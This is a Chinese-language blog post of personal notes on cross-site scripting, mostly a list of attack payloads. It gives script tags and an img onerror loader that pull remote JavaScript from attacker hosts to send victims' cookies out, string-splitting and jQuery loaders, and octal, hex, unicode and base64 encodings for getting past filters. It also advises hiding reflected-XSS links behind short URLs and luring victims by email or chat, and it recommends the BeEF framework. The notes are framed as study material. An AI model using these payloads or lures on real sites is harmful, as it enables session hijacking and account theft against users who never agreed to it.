14 xss相关

想起来大半年前总结在freebuf上总结xss没总结成

现在又回过头来总结了

xss全称为跨站脚本攻击,简单来说就是在受害网站上执行你所希望执行的js脚本

 

危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
 
xss防御的总体思路是对输入进行过滤对输出进行转义编码
 
反射型xss
需要用户点击连接才能触发
可通过邮件(主要)或者qq微信等方式诱导
建议采取短链接的形式进行伪装
不经过数据库
不会修改服务器端代码
 
存储型xss
不需要用户点击触发
访问存储该xss的网页即可
经过数据库
 
dom型xss
不经过数据库
属于特殊类型的反射型xss,需要点击触发
通过js脚本对文档对象进行编辑从而修改页面元素
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you
see?</a>";
}
 
xss检测语句
<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>
闭合
"><span>x</span><"
'>"><span>x</span><'
单行注释
"><span>x</span>//
 
xss进一步利用
当发现存在xss漏洞时,如果只弹出窗口,这样只能证明存在xss
若想要进一步深入的话就需要学会xss攻击payload
如窃取cookie进行登录
<script src="http://ip地址/xss.js"></script>
通过该脚本外联恶意js文件
将cookie信息发送到远程的服务器上
 
加载payload
常见的标准 payload
注意 网站采用的协议。
<script src="http://192.168.0.121/xss.js"></script>
<script src="https://192.168.0.121/xss.js"></script>
自动选择协议
<script src=//192.168.0.121/xss.js></script>
图片创建加载连接<img src=''
onerror=document.body.appendChild(document.createElement('script')).src='//192.168.0.110/xss.
js'>
字符并接
这种一般是输入的字符有限制的时候使用
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://www.'</script>
<script>z=z+'xsstools'</script>
<script>z=z+'.com/a'</script>
<script>z=z+'mER></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
有的情况要用/**/注释不需要的代码。
jquery 加载
<script>$.getScript("//www.xsstools.com/amER");</script>
 
搭建xss平台
推荐使用beef
beef中内涵了很多的js脚本
 
xss编码绕过
gpc过滤字符
gpc开启的时候特殊字符会被加上斜杠,如 ' 变成  \'
对于一些需要闭合的语句,开启gpc后由于引号被转义而导致无法闭合
绕是绕不过的
只能是说若是遇到一些不需要引号且在可以执行的环境之下就可以绕过gpc
<script src=http://www.xss123.com/JGdbsl?1623638390></script> 没有单引号可执行
 
过滤alert
<script>prompt(/xss/);</script>
<script>confirm(1);</script>
<script src=http://www.xss123.com/eciAKj?1623635663></script>
 
编码绕过
3.11.4. ascii 编码
<script>alert(String.fromCharCode(88,83,83))</script>
3.11.5. url 编码
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
3.11.6. JS 编码
https://www.jb51.net/tools/zhuanhuan.htm
八进制编码<script>eval("\141\154\145\162\164\50\61\51");</script>
16 进制编码
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
jsunicode 编码
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>
3.11.7. HTML 编码
在=后可以解析 html 编码
十进制
<img src="x" onerror="alert(1)" />
<button onclick="confirm('7');">Button</button>
十六进制
<img src="x" onerror="alert(1)"
/>
3.11.8. base64 编码
使用伪协议 base64 解码执行 xss
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
 
如何挖掘
1.寻找一切客户端可以输入的地方
2.输入恶意参数后,能够原型输出,输入没有过滤恶意代码
 
 
posted @ 2022-03-04 10:58  r0nGer  阅读(45)  评论(0)    收藏  举报